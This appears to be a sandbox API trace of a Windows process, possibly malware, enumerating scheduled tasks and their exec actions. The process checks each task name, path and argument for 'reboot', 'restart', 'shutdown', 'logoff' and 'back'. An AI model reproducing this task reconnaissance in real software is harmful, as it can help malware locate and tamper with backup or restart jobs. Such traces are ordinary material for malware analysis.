	[0066.919] IUnknown:Release (This=0x19b9b0) returned 0x0
	[0066.919] ITaskFolder:GetFolders (in: This=0x19b910, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b508) returned 0x0
	[0066.919] ITaskFolderCollection:get_Count (in: This=0x19b508, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0066.919] IUnknown:Release (This=0x19b508) returned 0x0
	[0066.919] TaskScheduler:IUnknown:Release (This=0x19b910) returned 0x0
	[0066.919] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19aec0) returned 0x0
	[0066.919] ITaskFolder:GetTasks (in: This=0x19aec0, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19af68) returned 0x0
	[0066.920] IRegisteredTaskCollection:get_Count (in: This=0x19af68, pCount=0x43af854 | out: pCount=0x43af854*=0) returned 0x0
	[0066.920] IUnknown:Release (This=0x19af68) returned 0x0
	[0066.920] ITaskFolder:GetFolders (in: This=0x19aec0, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19af68) returned 0x0
	[0066.921] ITaskFolderCollection:get_Count (in: This=0x19af68, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0066.921] IUnknown:Release (This=0x19af68) returned 0x0
	[0066.921] TaskScheduler:IUnknown:Release (This=0x19aec0) returned 0x0
	[0066.921] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x7, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19aec0) returned 0x0
	[0066.921] ITaskFolder:GetTasks (in: This=0x19aec0, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19af50) returned 0x0
	[0066.923] IRegisteredTaskCollection:get_Count (in: This=0x19af50, pCount=0x43af854 | out: pCount=0x43af854*=1) returned 0x0
	[0066.923] IRegisteredTaskCollection:get_Item (in: This=0x19af50, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19b040) returned 0x0
	[0066.923] IRegisteredTask:get_Name (in: This=0x19b040, pName=0x43af860 | out: pName=0x43af860*="Proxy") returned 0x0
	[0066.923] IRegisteredTask:get_State (in: This=0x19b040, pState=0x43af864 | out: pState=0x43af864*=1) returned 0x0
	[0066.923] IUnknown:Release (This=0x19b040) returned 0x0
	[0066.923] IUnknown:Release (This=0x19af50) returned 0x0
	[0066.923] ITaskFolder:GetFolders (in: This=0x19aec0, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19af50) returned 0x0
	[0066.924] ITaskFolderCollection:get_Count (in: This=0x19af50, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0066.924] IUnknown:Release (This=0x19af50) returned 0x0
	[0066.924] TaskScheduler:IUnknown:Release (This=0x19aec0) returned 0x0
	[0066.924] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19aec0) returned 0x0
	[0066.924] ITaskFolder:GetTasks (in: This=0x19aec0, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19af58) returned 0x0
	[0066.926] IRegisteredTaskCollection:get_Count (in: This=0x19af58, pCount=0x43af854 | out: pCount=0x43af854*=1) returned 0x0
	[0066.926] IRegisteredTaskCollection:get_Item (in: This=0x19af58, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19b048) returned 0x0
	[0066.926] IRegisteredTask:get_Name (in: This=0x19b048, pName=0x43af860 | out: pName=0x43af860*="BitLocker MDM policy Refresh") returned 0x0
	[0066.926] IRegisteredTask:get_State (in: This=0x19b048, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0066.926] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x3a) returned 0x2874380
	[0066.926] wcsstr (_Str="bitlocker mdm policy refresh", _SubStr="reboot") returned 0x0
	[0066.926] wcsstr (_Str="bitlocker mdm policy refresh", _SubStr="restart") returned 0x0
	[0066.926] wcsstr (_Str="bitlocker mdm policy refresh", _SubStr="shutdown") returned 0x0
	[0066.926] wcsstr (_Str="bitlocker mdm policy refresh", _SubStr="logoff") returned 0x0
	[0066.926] wcsstr (_Str="bitlocker mdm policy refresh", _SubStr="back") returned 0x0
	[0066.926] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2874380) returned 1
	[0066.926] IRegisteredTask:get_Definition (in: This=0x19b048, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19b0b8) returned 0x0
	[0066.934] ITaskDefinition:get_Actions (in: This=0x19b0b8, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19b108) returned 0x0
	[0066.934] IActionCollection:get_Count (in: This=0x19b108, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0066.934] IActionCollection:get_Item (in: This=0x19b108, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19b2b8) returned 0x0
	[0066.934] IAction:get_Type (in: This=0x19b2b8, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0066.934] IUnknown:Release (This=0x19b2b8) returned 0x1
	[0066.934] IUnknown:Release (This=0x19b108) returned 0x1
	[0066.934] IUnknown:Release (This=0x19b0b8) returned 0x0
	[0066.934] IUnknown:Release (This=0x19b048) returned 0x0
	[0066.934] IUnknown:Release (This=0x19af58) returned 0x0
	[0066.935] ITaskFolder:GetFolders (in: This=0x19aec0, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19ad48) returned 0x0
	[0066.949] ITaskFolderCollection:get_Count (in: This=0x19ad48, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0066.949] IUnknown:Release (This=0x19ad48) returned 0x0
	[0066.949] TaskScheduler:IUnknown:Release (This=0x19aec0) returned 0x0
	[0066.949] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19ad48) returned 0x0
	[0066.949] ITaskFolder:GetTasks (in: This=0x19ad48, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19ade0) returned 0x0
	[0066.959] IRegisteredTaskCollection:get_Count (in: This=0x19ade0, pCount=0x43af854 | out: pCount=0x43af854*=1) returned 0x0
	[0066.959] IRegisteredTaskCollection:get_Item (in: This=0x19ade0, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19aee8) returned 0x0
	[0066.959] IRegisteredTask:get_Name (in: This=0x19aee8, pName=0x43af860 | out: pName=0x43af860*="UninstallDeviceTask") returned 0x0
	[0066.959] IRegisteredTask:get_State (in: This=0x19aee8, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0066.965] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x28) returned 0x2878128
	[0066.965] wcsstr (_Str="uninstalldevicetask", _SubStr="reboot") returned 0x0
	[0066.965] wcsstr (_Str="uninstalldevicetask", _SubStr="restart") returned 0x0
	[0066.965] wcsstr (_Str="uninstalldevicetask", _SubStr="shutdown") returned 0x0
	[0066.965] wcsstr (_Str="uninstalldevicetask", _SubStr="logoff") returned 0x0
	[0066.965] wcsstr (_Str="uninstalldevicetask", _SubStr="back") returned 0x0
	[0066.965] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2878128) returned 1
	[0066.965] IRegisteredTask:get_Definition (in: This=0x19aee8, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19afd0) returned 0x0
	[0067.061] ITaskDefinition:get_Actions (in: This=0x19afd0, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19b020) returned 0x0
	[0067.061] IActionCollection:get_Count (in: This=0x19b020, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0067.061] IActionCollection:get_Item (in: This=0x19b020, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19b2a0) returned 0x0
	[0067.061] IAction:get_Type (in: This=0x19b2a0, pType=0x43af84c | out: pType=0x43af84c*=0) returned 0x0
	[0067.061] IUnknown:QueryInterface (in: This=0x19b2a0, riid=0x15606c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x43af884 | out: ppvObject=0x43af884*=0x19b2a0) returned 0x0
	[0067.061] IExecAction:get_Path (in: This=0x19b2a0, pPath=0x43af85c | out: pPath=0x43af85c*="BthUdTask.exe") returned 0x0
	[0067.061] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x289adf8
	[0067.061] wcsstr (_Str="bthudtask.exe", _SubStr="reboot") returned 0x0
	[0067.061] wcsstr (_Str="bthudtask.exe", _SubStr="restart") returned 0x0
	[0067.061] wcsstr (_Str="bthudtask.exe", _SubStr="shutdown") returned 0x0
	[0067.061] wcsstr (_Str="bthudtask.exe", _SubStr="logoff") returned 0x0
	[0067.061] wcsstr (_Str="bthudtask.exe", _SubStr="back") returned 0x0
	[0067.061] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289adf8) returned 1
	[0067.061] IExecAction:get_Arguments (in: This=0x19b2a0, pArgument=0x43af858 | out: pArgument=0x43af858*="$(Arg0)") returned 0x0
	[0067.062] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x287b430
	[0067.062] wcsstr (_Str="$(arg0)", _SubStr="reboot") returned 0x0
	[0067.062] wcsstr (_Str="$(arg0)", _SubStr="restart") returned 0x0
	[0067.062] wcsstr (_Str="$(arg0)", _SubStr="shutdown") returned 0x0
	[0067.062] wcsstr (_Str="$(arg0)", _SubStr="logoff") returned 0x0
	[0067.062] wcsstr (_Str="$(arg0)", _SubStr="back") returned 0x0
	[0067.062] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x287b430) returned 1
	[0067.062] IUnknown:Release (This=0x19b2a0) returned 0x2
	[0067.062] IUnknown:Release (This=0x19b2a0) returned 0x1
	[0067.062] IUnknown:Release (This=0x19b020) returned 0x1
	[0067.062] IUnknown:Release (This=0x19afd0) returned 0x0
	[0067.062] IUnknown:Release (This=0x19aee8) returned 0x0
	[0067.062] IUnknown:Release (This=0x19ade0) returned 0x0
	[0067.062] ITaskFolder:GetFolders (in: This=0x19ad48, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19ade0) returned 0x0
	[0067.063] ITaskFolderCollection:get_Count (in: This=0x19ade0, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0067.063] IUnknown:Release (This=0x19ade0) returned 0x0
	[0067.063] TaskScheduler:IUnknown:Release (This=0x19ad48) returned 0x0
	[0067.063] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19ad48) returned 0x0
	[0067.063] ITaskFolder:GetTasks (in: This=0x19ad48, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19adf0) returned 0x0
	[0067.064] IRegisteredTaskCollection:get_Count (in: This=0x19adf0, pCount=0x43af854 | out: pCount=0x43af854*=1) returned 0x0
	[0067.064] IRegisteredTaskCollection:get_Item (in: This=0x19adf0, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19af08) returned 0x0
	[0067.064] IRegisteredTask:get_Name (in: This=0x19af08, pName=0x43af860 | out: pName=0x43af860*="BgTaskRegistrationMaintenanceTask") returned 0x0
	[0067.064] IRegisteredTask:get_State (in: This=0x19af08, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0067.064] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x44) returned 0x2894920
	[0067.065] wcsstr (_Str="bgtaskregistrationmaintenancetask", _SubStr="reboot") returned 0x0
	[0067.065] wcsstr (_Str="bgtaskregistrationmaintenancetask", _SubStr="restart") returned 0x0
	[0067.065] wcsstr (_Str="bgtaskregistrationmaintenancetask", _SubStr="shutdown") returned 0x0
	[0067.065] wcsstr (_Str="bgtaskregistrationmaintenancetask", _SubStr="logoff") returned 0x0
	[0067.065] wcsstr (_Str="bgtaskregistrationmaintenancetask", _SubStr="back") returned 0x0
	[0067.065] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2894920) returned 1
	[0067.065] IRegisteredTask:get_Definition (in: This=0x19af08, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19b020) returned 0x0
	[0067.076] ITaskDefinition:get_Actions (in: This=0x19b020, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19b070) returned 0x0
	[0067.076] IActionCollection:get_Count (in: This=0x19b070, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0067.076] IActionCollection:get_Item (in: This=0x19b070, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19ba38) returned 0x0
	[0067.076] IAction:get_Type (in: This=0x19ba38, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0067.076] IUnknown:Release (This=0x19ba38) returned 0x1
	[0067.076] IUnknown:Release (This=0x19b070) returned 0x1
	[0067.077] IUnknown:Release (This=0x19b020) returned 0x0
	[0067.077] IUnknown:Release (This=0x19af08) returned 0x0
	[0067.077] IUnknown:Release (This=0x19adf0) returned 0x0
	[0067.077] ITaskFolder:GetFolders (in: This=0x19ad48, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19adf0) returned 0x0
	[0067.083] ITaskFolderCollection:get_Count (in: This=0x19adf0, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0067.083] IUnknown:Release (This=0x19adf0) returned 0x0
	[0067.083] TaskScheduler:IUnknown:Release (This=0x19ad48) returned 0x0
	[0067.083] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xb, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19ad48) returned 0x0
	[0067.083] ITaskFolder:GetTasks (in: This=0x19ad48, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19ae00) returned 0x0
	[0067.130] IRegisteredTaskCollection:get_Count (in: This=0x19ae00, pCount=0x43af854 | out: pCount=0x43af854*=6) returned 0x0
	[0067.130] IRegisteredTaskCollection:get_Item (in: This=0x19ae00, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19af28) returned 0x0
	[0067.131] IRegisteredTask:get_Name (in: This=0x19af28, pName=0x43af860 | out: pName=0x43af860*="AikCertEnrollTask") returned 0x0
	[0067.131] IRegisteredTask:get_State (in: This=0x19af28, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0067.131] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x24) returned 0x2877fa8
	[0067.131] wcsstr (_Str="aikcertenrolltask", _SubStr="reboot") returned 0x0
	[0067.131] wcsstr (_Str="aikcertenrolltask", _SubStr="restart") returned 0x0
	[0067.131] wcsstr (_Str="aikcertenrolltask", _SubStr="shutdown") returned 0x0
	[0067.131] wcsstr (_Str="aikcertenrolltask", _SubStr="logoff") returned 0x0
	[0067.131] wcsstr (_Str="aikcertenrolltask", _SubStr="back") returned 0x0
	[0067.131] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877fa8) returned 1
	[0067.131] IRegisteredTask:get_Definition (in: This=0x19af28, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19af98) returned 0x0
	[0067.155] ITaskDefinition:get_Actions (in: This=0x19af98, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19afe8) returned 0x0
	[0067.155] IActionCollection:get_Count (in: This=0x19afe8, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0067.155] IActionCollection:get_Item (in: This=0x19afe8, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19bdd8) returned 0x0
	[0067.155] IAction:get_Type (in: This=0x19bdd8, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0067.155] IUnknown:Release (This=0x19bdd8) returned 0x1
	[0067.155] IUnknown:Release (This=0x19afe8) returned 0x1
	[0067.155] IUnknown:Release (This=0x19af98) returned 0x0
	[0067.155] IUnknown:Release (This=0x19af28) returned 0x0
	[0067.155] IRegisteredTaskCollection:get_Item (in: This=0x19ae00, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19af28) returned 0x0
	[0067.155] IRegisteredTask:get_Name (in: This=0x19af28, pName=0x43af860 | out: pName=0x43af860*="CryptoPolicyTask") returned 0x0
	[0067.155] IRegisteredTask:get_State (in: This=0x19af28, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0067.177] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x22) returned 0x2878188
	[0067.177] wcsstr (_Str="cryptopolicytask", _SubStr="reboot") returned 0x0
	[0067.177] wcsstr (_Str="cryptopolicytask", _SubStr="restart") returned 0x0
	[0067.177] wcsstr (_Str="cryptopolicytask", _SubStr="shutdown") returned 0x0
	[0067.177] wcsstr (_Str="cryptopolicytask", _SubStr="logoff") returned 0x0
	[0067.177] wcsstr (_Str="cryptopolicytask", _SubStr="back") returned 0x0
	[0067.177] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2878188) returned 1
	[0067.177] IRegisteredTask:get_Definition (in: This=0x19af28, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19af98) returned 0x0
	[0067.191] ITaskDefinition:get_Actions (in: This=0x19af98, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19afe8) returned 0x0
	[0067.191] IActionCollection:get_Count (in: This=0x19afe8, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0067.191] IActionCollection:get_Item (in: This=0x19afe8, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19b0c0) returned 0x0
	[0067.191] IAction:get_Type (in: This=0x19b0c0, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0067.191] IUnknown:Release (This=0x19b0c0) returned 0x1
	[0067.191] IUnknown:Release (This=0x19afe8) returned 0x1
	[0067.191] IUnknown:Release (This=0x19af98) returned 0x0
	[0067.191] IUnknown:Release (This=0x19af28) returned 0x0
	[0067.191] IRegisteredTaskCollection:get_Item (in: This=0x19ae00, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19af28) returned 0x0
	[0067.191] IRegisteredTask:get_Name (in: This=0x19af28, pName=0x43af860 | out: pName=0x43af860*="KeyPreGenTask") returned 0x0
	[0067.191] IRegisteredTask:get_State (in: This=0x19af28, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0067.206] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x289abf0
	[0067.206] wcsstr (_Str="keypregentask", _SubStr="reboot") returned 0x0
	[0067.206] wcsstr (_Str="keypregentask", _SubStr="restart") returned 0x0
	[0067.206] wcsstr (_Str="keypregentask", _SubStr="shutdown") returned 0x0
	[0067.206] wcsstr (_Str="keypregentask", _SubStr="logoff") returned 0x0
	[0067.206] wcsstr (_Str="keypregentask", _SubStr="back") returned 0x0
	[0067.207] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289abf0) returned 1
	[0067.207] IRegisteredTask:get_Definition (in: This=0x19af28, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19af98) returned 0x0
	[0067.226] ITaskDefinition:get_Actions (in: This=0x19af98, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19afe8) returned 0x0
	[0067.227] IActionCollection:get_Count (in: This=0x19afe8, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0067.227] IActionCollection:get_Item (in: This=0x19afe8, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19c6f8) returned 0x0
	[0067.227] IAction:get_Type (in: This=0x19c6f8, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0067.227] IUnknown:Release (This=0x19c6f8) returned 0x1
	[0067.227] IUnknown:Release (This=0x19afe8) returned 0x1
	[0067.227] IUnknown:Release (This=0x19af98) returned 0x0
	[0067.227] IUnknown:Release (This=0x19af28) returned 0x0
	[0067.227] IRegisteredTaskCollection:get_Item (in: This=0x19ae00, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19af28) returned 0x0
	[0067.227] IRegisteredTask:get_Name (in: This=0x19af28, pName=0x43af860 | out: pName=0x43af860*="SystemTask") returned 0x0
	[0067.227] IRegisteredTask:get_State (in: This=0x19af28, pState=0x43af864 | out: pState=0x43af864*=4) returned 0x0
	[0067.235] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x28927b0
	[0067.235] wcsstr (_Str="systemtask", _SubStr="reboot") returned 0x0
	[0067.235] wcsstr (_Str="systemtask", _SubStr="restart") returned 0x0
	[0067.235] wcsstr (_Str="systemtask", _SubStr="shutdown") returned 0x0
	[0067.235] wcsstr (_Str="systemtask", _SubStr="logoff") returned 0x0
	[0067.235] wcsstr (_Str="systemtask", _SubStr="back") returned 0x0
	[0067.235] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28927b0) returned 1
	[0067.235] IRegisteredTask:get_Definition (in: This=0x19af28, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19b010) returned 0x0
	[0067.267] ITaskDefinition:get_Actions (in: This=0x19b010, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19b060) returned 0x0
	[0067.267] IActionCollection:get_Count (in: This=0x19b060, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0067.267] IActionCollection:get_Item (in: This=0x19b060, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19b2c0) returned 0x0
	[0067.267] IAction:get_Type (in: This=0x19b2c0, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0067.267] IUnknown:Release (This=0x19b2c0) returned 0x1
	[0067.267] IUnknown:Release (This=0x19b060) returned 0x1
	[0067.267] IUnknown:Release (This=0x19b010) returned 0x0
	[0067.267] IUnknown:Release (This=0x19af28) returned 0x0
	[0067.267] IRegisteredTaskCollection:get_Item (in: This=0x19ae00, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19af28) returned 0x0
	[0067.267] IRegisteredTask:get_Name (in: This=0x19af28, pName=0x43af860 | out: pName=0x43af860*="UserTask") returned 0x0
	[0067.267] IRegisteredTask:get_State (in: This=0x19af28, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0067.268] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x12) returned 0x28927f0
	[0067.268] wcsstr (_Str="usertask", _SubStr="reboot") returned 0x0
	[0067.268] wcsstr (_Str="usertask", _SubStr="restart") returned 0x0
	[0067.268] wcsstr (_Str="usertask", _SubStr="shutdown") returned 0x0
	[0067.268] wcsstr (_Str="usertask", _SubStr="logoff") returned 0x0
	[0067.268] wcsstr (_Str="usertask", _SubStr="back") returned 0x0
	[0067.268] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28927f0) returned 1
	[0067.268] IRegisteredTask:get_Definition (in: This=0x19af28, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19b010) returned 0x0
	[0067.284] ITaskDefinition:get_Actions (in: This=0x19b010, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19b060) returned 0x0
	[0067.284] IActionCollection:get_Count (in: This=0x19b060, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0067.284] IActionCollection:get_Item (in: This=0x19b060, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19c778) returned 0x0
	[0067.284] IAction:get_Type (in: This=0x19c778, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0067.284] IUnknown:Release (This=0x19c778) returned 0x1
	[0067.284] IUnknown:Release (This=0x19b060) returned 0x1
	[0067.284] IUnknown:Release (This=0x19b010) returned 0x0
	[0067.284] IUnknown:Release (This=0x19af28) returned 0x0
	[0067.286] IRegisteredTaskCollection:get_Item (in: This=0x19ae00, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19af28) returned 0x0
	[0067.286] IRegisteredTask:get_Name (in: This=0x19af28, pName=0x43af860 | out: pName=0x43af860*="UserTask-Roam") returned 0x0
	[0067.286] IRegisteredTask:get_State (in: This=0x19af28, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0067.322] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x289ac90
	[0067.322] wcsstr (_Str="usertask-roam", _SubStr="reboot") returned 0x0
	[0067.322] wcsstr (_Str="usertask-roam", _SubStr="restart") returned 0x0
	[0067.322] wcsstr (_Str="usertask-roam", _SubStr="shutdown") returned 0x0
	[0067.322] wcsstr (_Str="usertask-roam", _SubStr="logoff") returned 0x0
	[0067.322] wcsstr (_Str="usertask-roam", _SubStr="back") returned 0x0
	[0067.322] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ac90) returned 1
	[0067.322] IRegisteredTask:get_Definition (in: This=0x19af28, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19af98) returned 0x0
	[0067.330] ITaskDefinition:get_Actions (in: This=0x19af98, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19afe8) returned 0x0
	[0067.330] IActionCollection:get_Count (in: This=0x19afe8, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0067.330] IActionCollection:get_Item (in: This=0x19afe8, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19c638) returned 0x0
	[0067.330] IAction:get_Type (in: This=0x19c638, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0067.330] IUnknown:Release (This=0x19c638) returned 0x1
	[0067.330] IUnknown:Release (This=0x19afe8) returned 0x1
	[0067.330] IUnknown:Release (This=0x19af98) returned 0x0
	[0067.330] IUnknown:Release (This=0x19af28) returned 0x0
	[0067.330] IUnknown:Release (This=0x19ae00) returned 0x0
	[0067.330] ITaskFolder:GetFolders (in: This=0x19ad48, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19ae00) returned 0x0
	[0067.331] ITaskFolderCollection:get_Count (in: This=0x19ae00, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0067.331] IUnknown:Release (This=0x19ae00) returned 0x0
	[0067.331] TaskScheduler:IUnknown:Release (This=0x19ad48) returned 0x0
	[0067.331] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19ad48) returned 0x0
	[0067.331] ITaskFolder:GetTasks (in: This=0x19ad48, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19add8) returned 0x0
	[0067.332] IRegisteredTaskCollection:get_Count (in: This=0x19add8, pCount=0x43af854 | out: pCount=0x43af854*=1) returned 0x0
